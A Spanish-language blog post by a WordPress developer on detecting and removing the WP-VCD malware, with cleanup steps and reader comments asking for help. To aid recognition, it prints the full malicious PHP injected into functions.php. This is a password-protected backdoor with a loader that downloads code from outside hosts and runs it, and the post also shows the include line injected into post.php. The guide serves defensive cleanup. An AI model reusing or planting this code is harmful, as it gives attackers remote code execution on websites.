Eliminar malware WP-VCD en WordPress

Eliminar malware WP-VCD en WordPress

Utilizar WordPress como CMS a la hora de llevar a cabo un desarrollo web tiene grandes ventajas, ya que cuenta con una gran cuota de mercado cuya comunidad es cada vez mayor. Sin embargo esta popularidad tiene una cara B y es que también hace a la plataforma susceptible de numerosos ataques, ya sean personas, bots o malwares. En su mayoría no revisten mucha gravedad, pero sí que pueden causarte más de un dolor de cabeza cuando la infestación se replica en toda tu red.

Hace unos días revisando una página web a la que pretendía hacer unas actualizaciones y cuya plantilla había programado yo mismo, como desarrollador freelance especializado en WordPress que soy, me encontré en el archivo de funciones un segmento de código que para nada era mío. Ante mí estaba un nuevo enemigo: el malware WP-VCD. Se trata de un tipo de código malicioso que en poco tiempo se ha vuelto bastante común en instalaciones de WordPress y es utilizado para generar URLs de spam con las que derivar trafico de tu sitio a estas nuevas rutas. Una técnica habitual dentro del black hat SEO.

Si tú también te has encontrado con esta situación y no sabes por dónde empezar, quédate porque voy a dar algunas indicaciones sobre cómo solucionar este problema. Por otra parte, si no eres desarrollador y necesitas ayuda profesional para eliminar malwares en WordPress, puedes contactar conmigo a través de la sección de contacto dándome todos los detalles de tu situación. Te responderé en horario laboral tan pronto como pueda.

¿Cómo han entrado en mi web?

Existen varias formas en la cual tu web ha podido quedar expuesta a este virus, aunque las más habituales serían:

1 – Han entrado en nuestro sitio a través de una vulnerabilidad. Esta brecha de seguridad quizá se encuentre en el propio WordPress, aunque lo más probable es que esté en el tema o alguno de los plugins instalados.

2 – Hemos usado para nuestro diseño y desarrollo web un tema o un plugin que incorpora el malware WP-VCD en cuestión. Es bastante habitual que ocurra con las versiones anuladas (nulled) de temas o plugins de pago. En este caso eres tú mismo el que infecta la web sin ser consciente de ello.

3 – Tu proyecto está en un espacio web donde otras páginas webs pueden acceder y una o varias de ellas están infectadas. Al dichoso script le gusta replicarse en todas las webs que tenga a mano.

Pero, ¿dónde se encuentran los archivos infectandos?

El malware en cuestión se encuentra generalmente en cinco archivos de nuestra instalación de WordPress, aunque a veces falta alguno de los tres primeros. Los archivos que afecta son los siguientes:

wp-includes/wp-tmp.php
wp-includes/wp-vcd.php
wp-includes/wp-feed.php
wp-includes/post.php
wp-content/themes/mi-tema/functions.php

Sin embargo tengo que hacer una aclaración, ya que una cosa es el malware y otra diferente es el instalador del mismo. Para que el virus pueda expandirse, usan un instalador que inyecta el código en nuestro archivos. Como supondrás, para evitar que vuelva a replicarse, deberás eliminarlo también o no servirá de mucho la limpieza de los anteriores archivos.

Para ser un poco más preciso, tengo que hacer otra aclaración y es que aunque hablo de un instalador, en realidad hay varios: uno principal que es el que despliega el malware y luego otros secundarios que lo extienden haciendo que salte también entre los diferentes sitios.

El principal se encontrará en el sitio origen de la infección y su ubicación variará dependiendo de si se encontraba en un tema o en un plugin. Tendrás que revisar los directorios correspondientes para encontrarlos. Los archivos de los que hablamos son:

class.theme-modules.php
class.plugin-modules.php

No es habitual encontrar los dos a la vez, pero si ese fuera tu caso, has sido infectado por partida doble.

¿Cómo elimino entonces el malware?

Si has llegado hasta aquí es más que probable que andes buscando cómo limpiarlo, así que voy a darte una serie de pasos que espero te puedan servir de ayuda para resolver el dichoso problema. Ten en cuenta que voy a incluir también pasos habituales para controlar cualquier infección y que en este caso no tendrían por qué ser imprescindibles. Pero es mejor ser precavidos, máxime si no solemos prestar atención a la seguridad de nuestro entorno. Vamos allá:

1 – Desconecta tu ordenador de internet así como de la red local si este fuera tu caso. Y si tienes un servidor local en el equipo, apágalo. Primero vamos a asegurarnos que si hay algo no se extiende. Vacía la caché de navegación y archivos temporales. Puedes hacerlo manualmente en cada programa o usar alguna aplicación como CCleaner. Después te recomiendo que pases un antivirus y un antispyware, ya aunque este tipo de script no es detectable por los sistemas de rastreo nunca sabemos si hay algún otro tipo de software malicioso en nuestro equipo y todo podría descontrolarse.

2 – Contraseñas guardadas en navegador van fuera. Si eres de los que guardan las contraseñas de los paneles de control de WordPress en el navegador, debes eliminarlas. No sabemos si están comprometidas y deberemos cambiarlas después, pero de entrada eliminamos los registros.

3 – Cuidado con el FTP. Aunque no se trata de un malware que pueda saltar entre hostings, también es cierto que inyecta código y no creo que la persona o personas que se encuentran detrás del virus se sienta moralmente comprometidas a no fastidiarte más. No supongamos nada y elimina todas las cuentas de tu cliente FTP, deberemos cambiar contraseñas e instalarlas una a una conforme hayamos limpiado el sitio en el que entremos, pero eso más adelante.

4 – A limpiar en casa. Ahora debemos asegurarnos que el entorno desde donde vamos a trabajar está limpio. No des por sentado que porque el problema esté en el servidor, no lo tengas latente en tu equipo también, sobre todo si usas un servidor local tipo Wamp o Xampp. Revisaremos los archivos para ver si en las copias locales de nuestros trabajos ya tenemos descargado el código malicioso. Nuestra acción se centrará en los archivos que citaba más arriba.

Primero entraremos en la carpeta wp-includes y eliminaremos los archivos wp-vcd.php, wp-tmp.php y wp-feed.php (puede que falte alguno de ellos). Recomiendo usar la función ⇧ Mayús+Supr si usas Windows o ⌘ Cmd+X para Mac, ya que así lo borramos sin pasar por la papelera (vale, quizá esto ya es manía mía, pero a fin de cuentas soy yo el que escribe).

Después, localizaremos post.php, lo abriremos y buscaremos en el encabezado el fragmento que indico a continuación para limpiar completamente:

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

En tercer lugar iremos a nuestro archivo de funciones, ubicado en wp-content/themes/mi-tema/functions.php para abrirlo. En su interior encontraremos al comienzo este otro script, considerablemente más grande y lo eliminaremos también.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f61acf217cd3519fe7e450a1e641b5f4'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{
				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
		                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }
		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
        if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
    }
}

//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>

Por último buscaremos los archivos de instalación original class.theme-modules.php o class.plugin-modules.php que comentaba antes y los eliminaremos también. El dejarlos en último lugar es porque tras la instalación inicial, el script que contienen se auto elimina y dejan de ser peligrosos. Pero no vamos a conservarlos claro, con todo el sudor que nos han causado. Eso sí, encontrarlos puede sernos útil para saber dónde empezó todo.

Una vez hayamos hecho limpieza local, ya podemos volver a conectar nuestro equipo a la red e internet. En el caso que estuvieras en una red, asegúrate que el resto de equipos están también limpios, claro.

5 – Conectarnos uno a uno a los servicios de hosting y repetir el proceso de limpieza que llevamos a cabo en local. En caso que gestionemos servidores completos, pues aplica el proceso de la manera que más estimes oportuna. Una faena, sí, pero es necesario si queremos evitar que el virus se regenere.

Haciendo una correcta limpieza, podemos acabar con WP-VCD de un modo relativamente sencillo. Claro que esto dependerá de la cantidad de portales afectados y nuestros conocimientos sobre WordPress. Ten en cuenta que este artículo lo escribo en un momento concreto y hablamos de un malware que puede cambiar con el tiempo. Quizá necesites también un poco de intuición y revisar si se ha extendido por otros sitios o los archivos afectados son diferentes.

Una vez hayas eliminado el dichoso virus, te recomiendo que le des un vistazo a este otro artículo donde indico cómo mejorar la seguridad de WordPress con una serie de medidas indidividuales que te ayudarán a reducir la eficacia de próximos ataques.

Espero que os resulte útil.

14 respuestas a «Eliminar malware WP-VCD en WordPress»

  1. Avatar de Luis garcia
    Luis garcia

    excelente tutorial, solo para mencionar que en:

    Primero entraremos en la carpeta wp-includes y eliminaremos los archivos wp-vcd.php, tmp.php y feed.php (puede que falte alguno de ellos). Recomiendo usar la función ⇧ Mayús+Supr si usas Windows o ⌘ Cmd+X para Mac, ya que así lo borramos sin pasar por la papelera (vale, quizá esto ya es manía mía, pero a fin de cuentas soy yo el que escribe).

    los archivos a buscar son wp-vcd.php, wp-tmp.php y wp-feed.php

    1. Avatar de Jesús Tovar

      Gracias Luis, se ve que no escribí los nombres bien en ese punto. Ya lo he corregido 😉

  2. Avatar de Julio Cesar
    Julio Cesar

    Hola, me ha servido mucho tu guía. Estoy muy agradecido y te felicito por tal aporte. Tengo un problema, quizás un poco mayor. Tengo unos archivos: monit.php, ccode.php, helad.php y admin_ips.txt. Este último leí que guarda la dirección ip desde donde se conecta el administrador de wordpress para que a él no le salgan las notificaciones de malware. Wordfence los detecta como malware. El problema está que cuando los elimino vuelven a aparecer al día siguiente o a las pocas horas. He buscado por mil lugares y no he encontrado la solución ni la forma correcta de eliminarlos de raíz. Espero me puedas comentar un poco o si podrías ayudarme con ese proceso estaría mucho mas que agradecido.

    1. Avatar de Jesús Tovar

      Hola Cesar, me alegra que te haya sido de utilidad el artículo.

      Por lo que comentas, la impresión inicial es la misma a la que tú mismo has llegado: el virus está escondido en algún sitio y desde ahí vuelve a generar los otros archivos continuamente. El problema es que como cada malware tiene sus particularidades, es complicado decirte dónde está concretamente el origen sin mirar en el servidor y hacer un análisis en un entorno seguro. Si quieres que le de un vistazo, utiliza el formulario de contacto para mandarme toda la información.

      Un saludo.

      Nota: He eliminado preventivamente la dirección de la web que has introducido en el comentario porque no sé si es la que está infectada.

  3. Avatar de Miguel
    Miguel

    Hola me encuentro que sin saber como una de mis paginas se encuentra infectada. El asunto es que salen pantallas miticas de te ha tocado un iphone o cosas de citas con chicas… descargue un plugin antivirus y me detecto un archivo malicioso helad.php y otro que guardaba las ips. admin_ips . Es posible que sea este caso del virus este?? es que no veo ni los archivos por ningun lado ni tampoco el codigo en el functions.php. Sabrás decirme que puede ser?

    1. Avatar de Jesús Tovar

      Hola Miguel,

      No parece que se trate de este virus en particular por lo que comentas, pero puede ser cualquiera de los cientos que hay por ahí. Dependiendo de dónde se encuentren los archivos que dices, te pueden dar una pista del origen. Lo habitual en estos casos es que hayas instalado algún plugin que lo incorporaba, aunque no es el único medio claro. Para ayudarte mejor tendría que conocer un poco más sobre el proyecto, pero si estás familiarizado con la estructura de WordPress y la del tema que has usado, primero revisaría en el servidor si hay algo que no debiera estar ahí e iría tirando del hilo. Podrías probar también a abrir esos archivos que has encontrado y revisar qué hacen para ver si están importando funciones desde otros directorios.

      Nota: Como no sé si la página que dices que está infectada es la que has puesto como web en el formulario, la he eliminado preventivamente para no enlazar a un sitio con spam.

    2. Avatar de Miguel
      Miguel

      Lo primero muchassss gracias por contestar así de rápido. De echo tenemos un proyecto bastante potente en mente e igual os pedimos presupuesto para tener soporte de seguridad en las webs.

      Si era la web perdona que no me di cuenta de ese detalle de la web que te puse. El tema es divi y construí yo ese mini proyecto, puede haber sido algún plugin o quizá que no tenia el divi actualizado e igual por ahí pudo ser. Revisaré el código del archivo php porque el otro era un simple txt con las direcciones ip que supongo ya había quitado para mostrar las ventanitas dichosas.

    3. Avatar de Jesús Tovar

      Nada, no te preocupes, a ver si consigues dar con el origen del malware para saber al menos por dónde han entrado.

      Un saludo.

  4. Avatar de Samuel
    Samuel

    Hola Jesús,

    Yo he limpiado mis sitios que están todos en un hosting pero no he encontrado en ninguno de ellos los archivos «class.» que comentas…
    Llevo lidiando con esto varios meses por no decir algún año y ya no sé que hacer más. Gracias!

    1. Avatar de Jesús Tovar

      Hola Samuel,

      Suponiendo que la versión de tu virus WP-VCD sea la misma que la que aquí comento, una vez los archivos class se ejecutan, por ejemplo instalando el plugin que los contiene, esos dejan de infectar y continúan haciéndolo los otros. Por lo que ya no deberían ser una amenaza. Si no se encuentran en ninguno de los sitios de tu servidor, quizá en algún momento desinstalaste el plugin o tema que los contenía y se borraron.

      Si tu problema es que sigues encontrando sitios infectados dentro del servidor, y suponiendo que no acceden desde otro lugar, es probable que sea porque cuando limpias uno se vuelve a infectar desde otro de tus sitios y así de manera eterna. Quizá estés haciendo la limpieza directamente en tu servidor, sitio por sitio, en lugar de hacerlo desde un entorno controlado. ¿Es ese tu caso, cómo estás llevando a cabo la limpieza?

      Un saludo.

  5. Avatar de Miguel
    Miguel

    Hola Jesús,

    he seguido tus pasos pero me acabo de cargar la instalación entera de wordpress…
    Eliminé el archivo wp-vcd.php
    Luego quite la parte de código del post.php que estaba al principio de la página.
    Después me cargué la parte del archivo functions.php
    y ahora cuando trato de acceder al front end o back office en pantalla tengo una ristra de código sin sentido.

    Alguna idea?

    1. Avatar de Jesús Tovar

      Hola Miguel,

      si has seguido el artículo no te preocupes porque no te has cargado la instalación con estos pasos. Lo único que has hecho es eliminar el malware que tenías instalado y en ningún caso se borra ningún script nativo que tenga que ver WordPress, plugins o plantilla. Ahora bien, si tras la limpieza ves fallos, habrá que analizarlos punto a punto. De entrada no es fácil saber dónde podría estar el problema, puede ir desde que te hayas comido sin darte cuenta un punto y coma al hacer la limpieza, hasta que el virus sea una nueva versión y haya sobrescrito archivos esenciales.

      Como no sé lo que dice ese código sin sentido que comentas, voy a dar por supuesto que no es un aviso de la programación. Lo primero que te recomendaría entonces es que activases el modo de depuración de WordPress para tener más datos. Si no sabes dónde se hace, ve al archivo wp-config.php y en la línea define('WP_DEBUG', false); cambia el valor false por true (recuerda dejarlo como estaba cuando no vayas a trabajar o puedes dar información útil para atacarte). Tras esto vuelve a entrar en la web y mira si aparece algún error o advertencia específica.

  6. Avatar de virgilio
    virgilio

    Me han infectado de virus y malware diferentes páginas de mi hosting HostEurope. El problema es que mi hosting me ha bloqueado todas esas páginas y no puedo acceder a ellas. Me piden que las baje a local, las limpe, y les haga un informe con los pasos hechos y lo volvamos a subir por ftp a una carpeta “prueba” y ellos puedan comprobar que está todo limpio. Pueden ayudarme con este proceso? Yo estoy en Alicante. Gracias, Virgilio

    1. Avatar de Jesús Tovar

      Hola Virgilio,

      siguiendo los pasos del artículo podrías limpiar tus sitios y volver a subirlos. Pero si no te manejas bien con la programación y necesitas ayuda profesional para limpiar el malware de tu hosting, te invito a que me escribas a través de la sección de contacto.

      Un saludo.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *